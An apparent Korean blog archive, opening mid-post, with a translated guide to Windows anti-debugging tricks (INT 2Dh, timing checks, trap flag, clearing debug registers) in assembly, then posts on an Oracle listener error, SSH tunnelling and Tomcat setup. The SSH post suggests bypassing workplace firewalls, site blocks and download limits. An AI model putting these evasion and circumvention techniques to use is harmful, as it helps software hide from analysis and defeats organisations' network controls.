이 명령을 실행하면 SINGLE_STEP exception이 생성된다. 그러므로 만약 프로그램이 이미 추적(디버깅)되고 있다면, 명령의 실행과 Flags Register에 SingleStep bit(Flags Register의 TF:Trap flag, 또는 tracing flag)가 설정(set)되고, 디버거는 일반적인 exception이 생성되었다고 생각할 것이다. 또한 연관된 exception handler가 실행되지 않을 것이다. 그리고 예상대로 계속 실행되지 않는다.

이 트랙의 무시는 간단하다:
single-stepping 명령을 건너 띄고 실행되게 한다(ignore Exception에 추가). 이 예외가 생성되었다면, 그 이후 프로그램은 추적되지 않고, 디버거는 exception handler에게 pass 제어를 보낸 것으로 이해한다.

    Example:
    push offset @handler
    push dword fs:[0]
    mov fs:[0], esp
    ;...
    db 0F1h
    ;if fall here, traced
    ;...
    @handler:
    ;continue execution
    ;...


3 Interrupt 2Dh

인터럽트가 실행될 때 프로그램이 디버깅중이지 않다면 breakpoint exception이 일어날 것이다. 만약 프로그램들이 디버깅 중이고 명령이 trace flag와 같이 실행되지 않았다면 예외는 생성되지 않고 정상적으로 실행되어질 것이다.
프로그램이 디버깅 중이고 명령이 추적되고 있다면, 다음 Byte는 생략되어지고 계속 실행 될 것이다.
따라서 INT 2Dh를 사용하는 것은 강력한 안티디버그와 anti-tracer(추적) 메커니즘로 사용될 수 있다.

    Example:
    push offset @handler
    push dword fs:[0]
    mov fs:[0], esp
    ;...
    db 02Dh
    mov eax, 1 ;anti-tracing
    ;...
    @handler:
    ;continue execution
    ;...

좀 더 쉽게 적자면
CD 2D(INT 2D)
33C0(XOR EAX,EAX)
83C0 02(ADD EAX,2)
원래 코드가 위와 같은 경우
C083 C002... 와 같은 코드로 변경되어 버린다.(33은 생략되어짐. 즉 Opcode를 정상적으로 인 인식할 수 없어져 계속 진행될 수 없어진다)

여기서 주의 할 점은 TF가 set되어지고 안되어지고에 따라 INT 2D는 다르게 실행된다.
TF가 set 되면 위의 설명처럼 다음 Byte는 생략되어지고 명령을 인식하지만, TF가 set되어져 있지 않다면 다음 Byte가 아닌 다음 명령 자체를 생략(건너뛰고)하고 실행하게 된다.


4 Timestamp counters

정밀도가 높은 카운터이고, 이 machine이 켜진 이후 cpu사이클이 실행되어진 현재의 횟수를 RDTSC 명령으로 검색할 수 있다.

오래된 안티디버그는 델타 시간(time deltas라는데 뭔지 모르겠음) 측정으로 이루어져 프로그램의 주요지점에 exception handler 이내 주위에 구성되어 있다.

만약 delta가 너무 큰 경우, 그 프로그램은 디버거의 제어하에 실행된다.(디버거에서 예외 처리를 하고, 다시 디버거를 제어할 수 있게 하는 긴 작업이다.)

    Example:
    push offset handler
    push dword ptr fs:[0]
    mov fs:[0],esp
    rdtsc
    push eax
    xor eax, eax
    div eax ;trigger exception
    rdtsc
    sub eax, [esp] ;ticks delta
    add esp, 4
    pop fs:[0]
    add esp, 4
    cmp eax, 10000h ;threshold
    jb @not_debugged ; Jb - 왼쪽 인자의 값이 오른쪽 인자의 값보다 작으면 점프(부호없는)
    @debugged:
    ...
    @not_debugged:
    ...
    handler:
    mov ecx, [esp+0Ch]
    add dword ptr [ecx+0B8h], 2 ;skip div
    xor eax, eax
    ret


5 Popf and the trap flag

trap flag는 Falgs Register안에 위치하고, 프로그램의 추적을 제어한다. 만약 이 플래그가 설정되어 있는 경우, 명령을 실행할 때 SINGLE_STEP exception이 발생하게 될 것이다. Trap Flag는 추적을 막아내기 위해 조절할 수 있다. 예를 들어, 명령의 순서를 trap flag에 설정할 수 있다.

    pushf (PUSHFD)        ; 모든 Flags Register의 플래그 값을 push
    mov dword [esp], 0x100        ; TF를 설정함(그 외 다른 플래그는 0으로)
    popf (POPFD)            ; 스택에 저장된 Flags Register 값을 pop 한다

만약 프로그램이 추적되고 있다면, 이 것은 flags register에 진짜로 영향을 미칠 것이고, 디버거는 정규(정상)적인 추적이라 믿게 되어 exception을 처리할 것이다. 만약 디버깅중이지 않는다면 예외 처리기는 실행되지 않을 것이다. anti-tracer 트릭을 우회하기 위해서는 pushf 명령을 건너뛸 필요가 있다.


6 Stack Segment register

이것은 아주 오리지날 anti-tracer이다. MarCrypt 패커에서 발생되었다.
난 이 것이 널리 알려져 있지 않고, 사용은 말할 것도 없다는 것을 믿는다.
이것은 명령어의 순서를 넘어 추적의 구성이다.

    push ss
    pop ss
    pushf
    nop

pop ss가 추적될 때, 다음 명령이 실행되어질 것이나 디버거는 브레이크에 걸리지 않는다. 따라서 그 다음 명령을 멈출 것이다.(NOP의 경우)
쉽게 설명하면 Step by Step으로 pop ss 를 실행하면 pushf를 건너띄고(생략되어짐) nop으로 넘어가게 된다.
MarCrypt는 다음과 같이 anti-debug를 사용한다.

    push ss
    ; junk
    pop ss
    pushf
    ; junk
    pop eax
    and eax, 0x100
    or eax, eax ; eax에는 0x100
    jnz @debugged ; 조건에 부합하여 점프하게 됨
    ; carry on normal execution

이 트릭은 만약 디버거가 명령어의 순서를 통해 추적이 되고 있다면, popf는 맹목적으로(절대적으로) 실행되어질 것이고, 그리고 디버거는 stack에 값을 push할때 trap flag를 unset 하지 못할 수 있게 된다. protection에 대하여trap flag를 check(확인)하고 그것을 발견하면 프로그램을 종료한다.
회피하는 한 한가지 간단한 방법은 popf에 breackpoint를 걸고(음... 하나하나 다 걸어야되나? 아니면 conditional breakpoint로도 될려나?) 프로그램을 실행하는 것이다.(TF 플래그의 사용을 피하기 위해)


7 Debug registers manipulation

Debug Register는(DR0에서 DR7까지) hardware breakpoint를 설정하기 위해 사용된다.
보호하거나 hardware breakpoint를 설정하고 감지하도록 조작할 수 있다.(따라서 그것은 디버깅되고 있다.)
다시 설정(reset)하거나 특정 값을 설정하여 나중에 검사를 수행하는데 사용할 수 있다.
tElock 같은 packer를 만들어 리버스 엔지니어들이 debug register의 사용을 방지한다.
사용자 모드 관점으로부터, debug register를 설정(set)하지 못하게 'mov drx, ...' 명령어을 privileged 하였다.(나쁜 개발자들...ㅜㅜ)

다른 방법이 존재한다 :
- exception이 생성되어지고, thread context가 수정되어지고(그것은 CPU Register가 포함되어지고 exception은 던져지게 된다.추가:Exception 발생할때 Context 레코드 떠올리면 될듯) 그리고 new context와 함께 정상적으로 실행을 재개할 것이다.
- 다른 방법은 NtGetContextThread와 NtSetContextThread syscall을 사용하면 된다.(Kernel32에 있는 GetThreadContext와 SetThreadContext도 사용 가능)

대부분의 protector가 "비공식적인" 첫번째 방법을 사용한다.
(이 말은 익셉션을 발생시켜서 설정해놓은 hardware breakpoint를 Context 레코드의 수정하여 초기화 시킨다는 뜻)

    Example:
    push offset handler
    push dword ptr fs:[0]
    mov fs:[0],esp
    xor eax, eax
    div eax ;generate exception
    pop fs:[0]
    add esp, 4
    ;continue execution
    ;...
    handler:
    mov ecx, [esp+0Ch] ;skip div
    add dword ptr [ecx+0B8h], 2 ;skip div
    mov dword ptr [ecx+04h], 0 ;clean dr0
    mov dword ptr [ecx+08h], 0 ;clean dr1
    mov dword ptr [ecx+0Ch], 0 ;clean dr2
    mov dword ptr [ecx+10h], 0 ;clean dr3
    mov dword ptr [ecx+14h], 0 ;clean dr6
    mov dword ptr [ecx+18h], 0 ;clean dr7
    xor eax, eax
    ret


8 Context modification

debug register 조작과 마찬가지로, context를 수정하고 사용하여 프로그램의 실행 흐름
을 파격적인 길로 가게 할 수 있다. 디버거에 혼란을 쉽게 줄 수 있다.


Uncategorized anti-debug

1 TLS-callback

이 anti-debug는 몇 년 전만해도 이렇게 잘 알려져 있지 않았다. 그것이 있는 PE Loader는 프로그램의 Thread Local Storage entry에 참조되어진 first entry point를 가리키는 것으로 구성된다.(TLS는 PE 구조에서 OptionalHeader에 존재하는 IMAGE_DATA_DIRECTORY 구조체의 10번째 항목을 의미한다.구조체 총 15개로 되어 있고, null 영역까지 하면 16개로 보는 것이 맞다. 또한 0번부터 시작하므로 9번의 위치이다)

이렇게 함으로서 프로그램의 entry-point는 첫번째로 실행되지 않는다. TLS entry를 수행하여 anti-debug 체크를 stealthy하게 한다.

참고로 이 기법은 광범위하게 사용되지는 않는다.
디버거(OllyDbg 포함)의 custom patcher tool의 plugin에 의해 TLS를 알지 못하여도, 쉽게 잡아낼 수 있다.(걸러낼 수 있다)


2 CC scanning

일반적인 protection 기능 사용에 의해 packers는 CC-scanning loop와, 디버거에 의해 설정된 software breakpoint를 탐지하는게 목표이다.

만약 당신이 그런 종류의 문제를 피하려고, 당신은 hardware breakpoint 또는 custom type의 softworae breakpoint를 사용할 수 있다.

CLI(0xFA)는 고전적인 INT3 opcode를 대체할 수 있는 좋은 후보이다. 이 명령은 작업을 위해 다음과 같은 요구사항을 갖고 있다.

만약 ring3 프로그램에 의해 실행되었다면, 1Byte의 공간만 차지하며 Privileged instruction Exception을 발생한다.
이건 ring3에선 대책이 없.....(아니구나 명령어 없애버려!)


3 EntryPoint RVA set to 0

일부 패킹된 파일은 RVA가 0으로 설정이 되어 있고, 'MZ'는 실행을 시작하는 것을 의미하고, 'dec ebx / pop edx'에 해당한다.
M은 0x4D로 이걸 opCode로 보면 DEC EBP가 되고, Z는 0x5A, Opcode로는 POP EDX가 된다.(정확히는 POP RDX)

이것은 anti-debug 트릭이 아니다. 하지만 만약 당신이 software breakpoint를 entry-point에 사용하여 break걸고 싶다면 성가시게 할 수 있다.

만약 당신이 정지된 프로세스를 생성하고 RVA 0(MZ 시그너처의 M 부분)에 INT3를 설정할 수 있다면 Magic MZ value(시그너쳐)('M')의 일부를 삭제할 수 있다. 그 magic이 프로세스가 생성되고 나서 확인할 수 있고, 하지만 ntdll은 프로세스를 재개하는 과정에서 다시 확인될 것이다.(entry-point에 도달할수 있는 가능성) 그 경우에는 INVALID_IMAGE_FORMAT Exception이 발생한다.

만약 당신이 당신 소유의 tracing이나 디버그툴을 만든다면 당신은 hardward breakpoint를 이 문제를 피하기위해 사용하게 하길 원할 것이다.


Data reference

                             CONTEXT structure for IA32 processors
struct CONTEXT_IA32
{
    // ContextFlags must be set to the appropriate CONTEXT_* flag
    // before calling (Set|Get)ThreadContext
    DWORD ContextFlags;
    // CONTEXT_DEBUG_REGISTERS (not included in CONTEXT_FULL)
    DWORD Dr0; // 04h
    DWORD Dr1; // 08h
    DWORD Dr2; // 0Ch
    DWORD Dr3; // 10h
    DWORD Dr6; // 14h
    DWORD Dr7; // 18h
    // CONTEXT_FLOATING_POINT
    FLOATING_SAVE_AREA FloatSave;
    // CONTEXT_SEGMENTS
    DWORD SegGs; // 88h
    DWORD SegFs; // 90h
    DWORD SegEs; // 94h
    DWORD SegDs; // 98h
    // CONTEXT_INTEGER
    DWORD Edi; // 9Ch
    DWORD Esi; // A0h
    DWORD Ebx; // A4h
    DWORD Edx; // A8h
    DWORD Ecx; // ACh
    DWORD Eax; // B0h
    // CONTEXT_CONTROL
    DWORD Ebp; // B4h
    DWORD Eip; // B8h
    DWORD SegCs; // BCh (must be sanitized)
    DWORD EFlags; // C0h
    DWORD Esp; // C4h
    DWORD SegSs; // C8h
    // CONTEXT_EXTENDED_REGISTERS (processor-specific)
    BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
};
             Process Environment Block structure (from The Wine Project)
struct PEB
{
    BOOLEAN InheritedAddressSpace; // 00
    BOOLEAN ReadImageFileExecOptions; // 01
    BOOLEAN BeingDebugged; // 02
    BOOLEAN SpareBool; // 03
    HANDLE Mutant; // 04
    HMODULE ImageBaseAddress; // 08
    PPEB_LDR_DATA LdrData; // 0c
    RTL_UPROCESS_PARAMETERS *ProcessParameters; // 10
    PVOID SubSystemData; // 14
    HANDLE ProcessHeap; // 18
    PRTL_CRITICAL_SECTION FastPebLock; // 1c
    PVOID /*PPEBLOCKROUTI*/ FastPebLockRoutine; // 20
    PVOID /*PPEBLOCKROUTI*/ FastPebUnlockRoutine; // 24
    ULONG EnvironmentUpdateCount; // 28
    PVOID KernelCallbackTable; // 2c
    PVOID EventLogSection; // 30
    PVOID EventLog; // 34
    PVOID /*PPEB_FREE_BLO*/ FreeList; // 38
    ULONG TlsExpansionCounter; // 3c
    PRTL_BITMAP TlsBitmap; // 40
    ULONG TlsBitmapBits[2]; // 44
    PVOID ReadOnlySharedMemoryBase; // 4c
    PVOID ReadOnlySharedMemoryHeap; // 50
    PVOID *ReadOnlyStaticServerData; // 54
    PVOID AnsiCodePageData; // 58
    PVOID OemCodePageData; // 5c
    PVOID UnicodeCaseTableData; // 60
    ULONG NumberOfProcessors; // 64
    ULONG NtGlobalFlag; // 68
    BYTE Spare2[4]; // 6c
    LARGE_INTEGER CriticalSectionTimeout; // 70
    ULONG HeapSegmentReserve; // 78
    ULONG HeapSegmentCommit; // 7c
    ULONG HeapDeCommitTotalFreeTh; // 80
    ULONG HeapDeCommitFreeBlockTh; // 84
    ULONG NumberOfHeaps; // 88
    ULONG MaximumNumberOfHeaps; // 8c
    PVOID *ProcessHeaps; // 90
    PVOID GdiSharedHandleTable; // 94
    PVOID ProcessStarterHelper; // 98
    PVOID GdiDCAttributeList; // 9c
    PVOID LoaderLock; // a0
    ULONG OSMajorVersion; // a4
    ULONG OSMinorVersion; // a8
    ULONG OSBuildNumber; // ac
    ULONG OSPlatformId; // b0
    ULONG ImageSubSystem; // b4
    ULONG ImageSubSystemMajorVersion; // b8
    ULONG ImageSubSystemMinorVersion; // bc
    ULONG ImageProcessAffinityMask; // c0
    ULONG GdiHandleBuffer[34]; // c4
    ULONG PostProcessInitRoutine; // 14c
    PRTL_BITMAP TlsExpansionBitmap; // 150
    ULONG TlsExpansionBitmapBits[32]; // 154
    ULONG SessionId; // 1d4
};
               Thread Environment Block structure (from The Wine Project)
struct TEB
{
    NT_TIB Tib; // 000 Info block
    PVOID EnvironmentPointer; // 01c
    CLIENT_ID ClientId; // 020 PID,TID
    PVOID ActiveRpcHandle; // 028
    PVOID ThreadLocalStoragePointer; // 02c
    PEB *Peb; // 030
    DWORD LastErrorValue; // 034
    ULONG CountOfOwnedCriticalSections; // 038
    PVOID CsrClientThread; // 03c
    PVOID Win32ThreadInfo; // 040
    ULONG Win32ClientInfo[0x1f]; // 044
    PVOID WOW32Reserved; // 0c0
    ULONG CurrentLocale; // 0c4
    ULONG FpSoftwareStatusRegister; // 0c8
    PVOID SystemReserved1[54]; // 0cc
    PVOID Spare1; // 1a4
    LONG ExceptionCode; // 1a8
    BYTE SpareBytes1[40]; // 1ac
    PVOID SystemReserved2[10]; // 1d4
    DWORD num_async_io; // 1fc
    ULONG_PTR dpmi_vif; // 200
    DWORD vm86_pending; // 204
    DWORD pad6[309]; // 208
    ULONG gdiRgn; // 6dc
    ULONG gdiPen; // 6e0
    ULONG gdiBrush; // 6e4
    CLIENT_ID RealClientId; // 6e8
    HANDLE GdiCachedProcessHandle; // 6f0
    ULONG GdiClientPID; // 6f4
    ULONG GdiClientTID; // 6f8
    PVOID GdiThreadLocaleInfo; // 6fc
    PVOID UserReserved[5]; // 700
    PVOID glDispachTable[280]; // 714
    ULONG glReserved1[26]; // b74
    PVOID glReserved2; // bdc
    PVOID glSectionInfo; // be0
    PVOID glSection; // be4
    PVOID glTable; // be8
    PVOID glCurrentRC; // bec
    PVOID glContext; // bf0
    ULONG LastStatusValue; // bf4
    UNICODE_STRING StaticUnicodeString; // bf8
    WCHAR StaticUnicodeBuffer[261]; // c00
    PVOID DeallocationStack; // e0c
    PVOID TlsSlots[64]; // e10
    LIST_ENTRY TlsLinks; // f10
    PVOID Vdm; // f18
    PVOID ReservedForNtRpc; // f1c
    PVOID DbgSsReserved[2]; // f20
    ULONG HardErrorDisabled; // f28
    PVOID Instrumentation[16]; // f2c
    PVOID WinSockData; // f6c
    ULONG GdiBatchCount; // f70
    ULONG Spare2; // f74
    ULONG Spare3; // f78
    ULONG Spare4; // f7c
    PVOID ReservedForOle; // f80
    ULONG WaitingOnLoaderLock; // f84
    PVOID Reserved5[3]; // f88
    PVOID *TlsExpansionSlots; // f94
};
                                     NtGlobalFlags
FLG_STOP_ON_EXCEPTION 0x00000001
FLG_SHOW_LDR_SNAPS 0x00000002
FLG_DEBUG_INITIAL_COMMAND 0x00000004
FLG_STOP_ON_HUNG_GUI 0x00000008
FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010
FLG_HEAP_ENABLE_FREE_CHECK 0x00000020
FLG_HEAP_VALIDATE_PARAMETERS 0x00000040
FLG_HEAP_VALIDATE_ALL 0x00000080
FLG_POOL_ENABLE_TAIL_CHECK 0x00000100
FLG_POOL_ENABLE_FREE_CHECK 0x00000200
FLG_POOL_ENABLE_TAGGING 0x00000400
FLG_HEAP_ENABLE_TAGGING 0x00000800
FLG_USER_STACK_TRACE_DB 0x00001000
FLG_KERNEL_STACK_TRACE_DB 0x00002000
FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000
FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000
FLG_IGNORE_DEBUG_PRIV 0x00010000
FLG_ENABLE_CSRDEBUG 0x00020000
FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000
FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000
FLG_HEAP_ENABLE_CALL_TRACING 0x00100000
FLG_HEAP_DISABLE_COALESCING 0x00200000
FLG_VALID_BITS 0x003FFFFF
FLG_ENABLE_CLOSE_EXCEPTION 0x00400000
FLG_ENABLE_EXCEPTION_LOGGING 0x00800000
FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000
FLG_HEAP_PAGE_ALLOCS 0x02000000
FLG_DEBUG_WINLOGON 0x04000000
FLG_ENABLE_DBGPRINT_BUFFERING 0x08000000
FLG_EARLY_CRITICAL_SECTION_EVT 0x10000000
FLG_DISABLE_DLL_VERIFICATION 0x80000000

이올린에 북마크하기
2009/06/10 03:15 2009/06/10 03:15

[Oracle 10g] java.sql.SQLException: IO 예외 상황: The Network Adapter could not establish the connection

Posted at 2009/06/09 17:38 // in DBMS // by 엔신
java.sql.SQLException: IO 예외 상황: The Network Adapter could not establish the connection
오라클을 설치 후 원격의 시스템과 연결이 아닌 localhost(127.0.0.1)에 연결하고자 할 때 리스너 설정이 잘못된 경우 위와 같은 에러 메시지가 발생할 수 있다. 그 외에도 여러가지 에러에 발생할 수 있겠지만, 본인의 경우를 중점으로 설명한다.(단기기억력으로 나중에 고생하기싫어요...)

리스너와 관련된 설정 파일은
C:\oracle\product\10.2.0\db_1\NETWORK\ADMIN 경로의
tnsnames.ora와 listener.ora 파일이다.
그러나 파일을 열어보고 수정하기에는 설정 파일의 문법을 모르기 때문에 가독성 면에서 좋지 못하다.
시작 -> 프로그램 > 오라클 메뉴로 가면 구성 및 이전 툴 메뉴에 Net Manager 단축아이콘이 존재한다.

Net Manager에서는 리스너와 2개의 서비스가 최소한 존재할 것이다.
2개의 서비스는 리스너의 두 항목과 일치하여야 정상적으로 서비스 이용이 가능한데, 이 부분이 서로 일치하지 않을 경우 위와 같은 에러 메시지를 접할 수 있다.

사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지

위 4개의 그림에서는 리스너중 주소1의 IPC가 EXTPROC1으로 되어 있지만, extproc_connection_data 서비스에서는 EXTPROC0으로 서로 일치하지 않는다. 이럴 경우 위와 같은 에러메시지를 접하게 되므로 리스너의 주소1을 EXTPROC0으로 수정하여 서비스와 서로 일치하게 만든다.

위의 경우에는 IPC의 값이 일치하지 않아 발생했을 때이고, 또 다른 경우는 TCP/IP가 일치하지 않아 발생할 수도 있다.

서비스 네임은 darkhi으로 설정하고, 호스트 이름 : darkhi-054fa49f, Port : 1521로 설정하고 리스너에서도 동일하게 설정하고 정작 접속할 때 jdbc:oracle:thin:@127.0.0.1:1521:PLSExtProc1과 같이 일치하지 않은 내용을 입력할 경우에도 문제가 발생할 수 있다. 그 외에도 여러가지 이므로 상황에 맞게 리스너 설정을 변경하여주면 된다.

인터넷에서 찾아본 결과, IP가 자동인 경우 문제가 된다고 하였는데, 127.0.0.1인 Loopback 장치를 사용하는데 IP를 자동으로 받아오든 말든 무슨 상관이 있겠나 싶다.(물론 그런 경우도 있겠지만, 여기서는 loopback 장치를 사용하였으므로)

위 경우가 항상 100% 해답은 아니라고 생각되며, 상황에 따라 다른 경우 상황에서도 위와 같은 오류가 발생할 수 있는 것 같다.

저장 메뉴는 오른쪽 상단의 파일 -> 네트워크 구성 저장 메뉴를 이용하면 된다.
또한 환경설정의 경우 오라클 서비스를 재시작하거나, 운영체제를 재시작하여 reload하여야 한다.

이올린에 북마크하기
2009/06/09 17:38 2009/06/09 17:38

SSH Port Forwarding(SSH Tunneling)

Posted at 2009/05/29 18:04 // in ETC // by 엔신
SSH를 사용하여 다른 사이트의 Port를 SSH를 거쳐서 지나갈 수 있게 포워딩할 수 있다.
아래 설명은 리눅스 기준으로 설명한 것이다.
윈도우에서 사용할려면 Cygwin의 ssh를 이용하거나 Putty, XShell, SecureCRT 같은 프로그램을 이용하여야 한다.

사용하여야 하는 이유로 예를 들자면 로컬 네트워크에서 외부로 접속 하고자 하는데 그 사이의 방화벽에서 22번 포트만 허용해놓고 23번(telnet) 포트나 21번(ftp)의 외부 접근을 막아놨다고 하자. 그런데 업무로 인하여 telnet 서비스나 ftp를 이용하여야만 한다면?

1. 방화벽 관리자에게 연락하여 포트를 사용할 수있도록 허용해달라고 한다.
2. ssh를 사용하여 방화벽을 우회한다.

특정 웹사이트에 접속하고 싶은데 회사에서는 그 사이트의 접속을 라우터 단에서 막아놨다.

특정 메신져를 사용하고 싶은데 회사에서는 그 메신져가 사용하는 포트에 대한 접근을 막아놨다.

커뮤니티에 글을 남기고 싶은데, 그 커뮤니티에는 IP가 노출된다. 최소한 내 IP가 아닌 다른 IP로 기록이 되게끔 하고 싶다.(그러나 완전한 방법은 아니다. 법적인 수사가 들어 올 경우 내가 이용한 SSH 서버의 로그에는 내가 접속했던 시간의 기록이 남아있을 가능성이 높다.그렇다 하더라도 법적인 경우가 아닐 경우에는 확실히 내 IP의 노출을 막을 수 있으므로 유용하다.)

RapidShare 같은 사이트에서 자료를 받아야 하는데, 일정 시간에는 몇개의 파일만 받을 수 있도록 제한이 되어 있다. 그러므로 많은 자료를 받기 위해서는 몇개의 파일을 받고 몇분을 기다려야 하므로 시간이 낭비된다. 이럴때 SSH Tunneling을 이용하면 2개의 IP를 이용하여 받으므로 기다리는 시간을 절반으로 단축시킬 수 있다.(SSH 계정이 n개라면 n배수만큼 단축시킬 수 있음)

이러한 상황에 터널링을 이용하면 방화벽을 우회할 수도 있지만, 데이터를 암호화(Encryption) 하여 sniffing을 통한 데이터 또는 정보 노출을 막을 수 도 있다.

1. Local SSH Tunneling
사용자 삽입 이미지

Local SSH Tunneling 방법을 이용하는 경우 로컬 네트워크에서 내가 사용하는 컴퓨터에서 외부망의 SSH 서버에 접속한다. 그리고 내가 사용하는 컴퓨터의 "특정포트"를 Open(Listen)하여 localhost:특정포트를 이용하여 SSH 포트를 타고 데이터가 외부망의 서버로 전달이 되며 외부망의 서버에서 복호화(Decryption)되어 원래의 목적지(telnet, 또는 ftp)에 접속이 가능해진다.
로컬 네트워크의 내가 사용하는 컴퓨터에서는 "특정포트"에 접속을 하지만 데이터가 SSH 터널을 타고 외부망서버를 거쳐 가기 때문에 방화벽에서는 22번 포트의 데이터만 인식하게 된다.

SSH -L 1080:rain9.com:21 ssh-server.com
접속이 되면 놔두고 새로운 콘솔창을 띄워서
ftp localhost 1080
내 컴퓨터에 1080 포트를 Open(Listen)하고 ssh-server.com의 22번 포트로 접속을 한다.(따로 포트를 지정안했기 때문에 default ssh port인 22번으로 접속)
ssh-server.com 서버쪽에서는 1080 포트를 통하여 ssh 터널을 지나 데이터가 온 경우 rain9.com의 21번 포트로 연결시켜주게 된다.


2. Remote SSH Tunneling
사용자 삽입 이미지

리모트 SSH 터널링 방법의 경우 로컬 내트워크의 내가 사용하는 컴퓨터의 특정포트를 Open(Listen)하는 것이 아니라 외부망의 SSH 서버에 "특정포트"를 Open(Listen)하게 된다.
SSH나 원격과 같은 방법으로 외부망에 접속한 후 외부망 서버에서 Open(Listen)한 "특정포트"를 사용하면 원래의 목적지(telnet, 또는 ftp)에 접속이 가능해진다.

SSH -R 1090:rain9.com:21 ssh-server.com
접속이 되면 그 상태로
ftp localhost 1090
ssh-server.com의 22번 포트로 접속하여 ssh-server.com 서버에서 1090 포트를 Open(Listen)하고(그러나 Dafault로 127.0.0.1인 looopback 주소로만 열린다.) 서버에 접속한 상태로 ftp 127.0.0.1 1090 로 접속하면 rain9.com의 21번 포트로 접속이되어진다.

GatewayPorts yes
만일 ssh-server.com의 sshd_config 설정에 위 내용이 추가 되어 있다면, 127.0.0.1이 아닌 0.0.0.0 주소로 Listen하기 때문에 외부에서도 사용이 가능해진다.
예를 들면 내 컴퓨터나, 또다른 컴퓨터에서
ftp ssh-server.com 1090
로 접속하게 되면 rain9.com:21으로 Forwarding되어 접속이 가능해진다.


3. Dynamic SSH
다이나믹 SSH 터널링은 SOCKS 프로코콜을 이용하여 ssh 터널을 생성한다. SSH Tunneling에서 많이 사용되는 방법이다. 리모트나 로컬처럼 특정 대상이 필요한 것이 아니므로 메신져 우회나 차단된 웹사이트 우회 접속 등 범용적인 사용에 유리하므로 특수 목적이 아닌 이상 가장 쓸모가 있다.

SOCKS는 SOCKS 서버의 반대쪽에 있는 호스트의 연결 요청을 재지정하여 직접적인 IP 접근 없이 한쪽의 호스트가 다른 쪽의 호스트에 완전하게 액세스할 수 있도록 하는 네트워킹 프록시 프로토콜입니다. SOCKS는 권한 없는 사용자가 인터넷을 통해 내부 호스트에 액세스하는 것은 방지하면서도 SOCKS 서버 뒤의 호스트가 인터넷에 완전하게 액세스할 수 있도록 하는 네트워크 방화벽으로 널리 사용됩니다.

SOCKS 서버는 지점 간 기반으로 방화벽을 통해 액세스를 제어하는 일반적인 방화벽 데몬입니다. SOCKS 서버는 요청을 인증 및 승인하고, 프록시 연결을 수립하고, 데이터를 중계합니다. SOCKS 서버는 응용 프로그램 수준이 아닌 네트워크 수준에서 작동하므로 요청 전송에 사용되는 프로토콜이나 방법에 대해 알지 못합니다. SOCKS 서버가 프로토콜을 알지 못하므로 Proxy Server가 지원하지 않는 Telnet과 같은 프로토콜을 전달하는 데 사용될 수 있습니다.

Sun Java System Web Proxy Server 4 .0.1 관리 설명서 15장의 일부 내용임.
어플리케이션 계층이 아닌 네트워크 계층이라 HTTP Proxy Server처럼 제한적이지 않으므로 유용하다. 그러므로 HTTP나 메신져, IRC 등과 같이 어플리케이션 계층의 프로토콜이나 프로그램에서 범용적으로 사용이 가능한 것이다.
사용 방법은 아래와 같다.
SSH -D 1080 ssh-server.com
내 컴퓨터의 SOCKS 방식의 1080 포트를 오픈하고 ssh-server.com으로 접속한다. 프로그램에서 프록시 설정에서 SOCKS 방식을 선택하고 localhost를 적어주고 포트 1080을 적어주면 ssh-server.com의 ip로 웹서핑이나 메신져 사용이 가능해진다.

윈도우에서 putty를 이용하여 Dynamic SSH Tunnel을 만들어 사용하는 을 예전에 포스팅한 적이 있다.(사실은 거의 메모 수준)

아래 플래시 동영상은 리눅스와 리눅스에서 dynamic ssh tunneling을 이용하는 방법이다. 출처는 동영상에도 나와 있듯이 http://www.irongeek.com이다.
swf 다운로드



참조 사이트
Debian Administration :
http://www.debian-administration.org/article/SSH_dynamic_port_forwarding_with_SOCKS
KLDP WiKi - OpenSshTunneling : http://wiki.kldp.org/wiki.php/OpenSshTunneling
irongeek.com : http://www.irongeek.com/i.php?page=videos/sshdynamicportforwarding
SSH Tunneling 사용하기 - 「한빛 네트워크 기사 공모전」 가작: 이호재  : http://network.hanb.co.kr/print.php?bi_id=547


추가적으로
프로그램(어플리케이션)에서 소켓프록시를 설정할 수 있도록 지원하는 경우도 있지만, 그렇지 않은 경우도 존재한다. 이럴 때에는 TSOCKS나  Virtual Tunnel, Dante를 이용할 수도 있다.

실제로 테스트 해본 것은 TSOCKS인데 사용법은 매우 간단하다.
우분투의 경우
sudo apt-get install tsocks
sudo vi /etc/tsocks.conf
모든 라인을 다 지우거나 주석처리하고, 아래 두라인만 설정한다.
server = 127.0.0.1
server_port = 1080
그 후

ssh -L 1080:rain9.com:21 ssh-server.com
tsocks 대상프로그램

과 같은 방법으로 적용하면 된다. 제대로 적용이 됐는지 확인할려면 자신의 ip를 확인하여주는 사이트에 접속하여 보면 rain9.com의 ip가 찍히는 것을 확인할 수 있다. 본인은 www.rain9.com/ip.php와 같은 것을 만들어 놓고 ip 확인에 사용하고 있다.

관련 URL
http://www.plenz.com/tunnel-everything
http://www.linux.com/archive/feature/54894

이올린에 북마크하기
2009/05/29 18:04 2009/05/29 18:04

Tomcat 5.5.27 설치

Posted at 2009/05/28 17:37 // in Programming // by 엔신
서블릿과 JSP를 다루기 위해 웹서버인 Tomcat을 설치하여야 한다.
윈도우 기준으로 설명한다.

1. 다운로드
톰캣 사이트에서 Tomcat 5.5.27을 다운로드 받을수 있다.
톰캣을 설치하기 위해서는 JRE 또는 JDK가 설치되어 있어야 한다.
설치형이 아니므로 C드라이브에 압축을 풀고 경로명을 간단하게 줄인다.
C:\apache-tomcat 이라거나 C:\tomcat 이라거나...

2. 서블릿파일 복사하기
C:\apache-tomcat\common\lib\servlet-api.jar
위경로의 파일을 파일을 복사하여
C:\Java\jdk1.6.0_13\lib
경로에 붙여넣기

3. 시스템 환경 변수 등록
그리고 시스템 환경변수 설정

변수이름 : CATALINA_HOME
변수 값 : C:\apache-tomcat

변수이름 : JAVA_HOME
변수 값 : C:\Java\jdk1.6.0_13

변수이름 : CLASSPATH
변수 값 : C:\apache-tomcat\common\lib\jsp-api.jar
를 등록하거나 js-api.jar 파일을 C:\Java\jdk1.6.0_13\lib\servlet-api.jar 경로에 복사하여 경로를 설정.

